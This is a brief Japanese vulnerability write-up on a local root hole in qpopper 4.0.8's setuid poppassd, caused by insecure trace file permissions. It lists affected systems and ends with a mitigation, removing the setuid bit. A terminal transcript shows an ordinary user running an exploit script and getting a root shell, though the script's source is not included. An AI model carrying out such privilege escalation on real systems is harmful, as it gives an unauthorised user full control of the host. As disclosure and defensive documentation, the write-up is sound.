qpopper <= 4.0.8 poppassd localroot exploit

• 2006/02/16　初版
  • Author kikuzou

• qpopper 4.0.8以前のpoppassd(パスワード変更デーモン)に脆弱性
• -tオプションで指定するデバッグ用のトレースファイルの作成パーミッションに問題があり、またpoppassdがsuidでroot権限で実行されるようになっているため、ローカルユーザによる権限昇格が実行できてしまう
• なお、poppassd はコンパイル時に –enable-poppassd をつけていないとインストールされない
• 2005/09/26 公開

• qpopper 4.0.8 以前のバージョン(4.0.8含む)を使用し、poppassdが有効になっているシステム

• poppassdを有効にしていないシステム

• Secunia::Qpopper poppassd Insecure Trace File Creation Vulnerability

• CentOS 4.0
• qpopper 4.0.8 (poppassd有効)

• 一般ユーザでログイン後、以下を実行する。

$ netstat -an |grep 110
tcp        0      0 0.0.0.0:110                 0.0.0.0:*                   LISTEN      
$
$ whoami
kikuzou
$
$ ./poppassd.sh 

Linux Qpopper poppassd latest version local r00t exploit by kcope

--- Now type ENTER ---

200 centos02 poppassd v4.0.8 hello, who are you?

500 Username required. [Enterキー]
IT'S A ROOTSHELL!!!
sh-3.00# whoami
root
sh-3.00# 

1. poppassd コマンドから setuid ビットを削除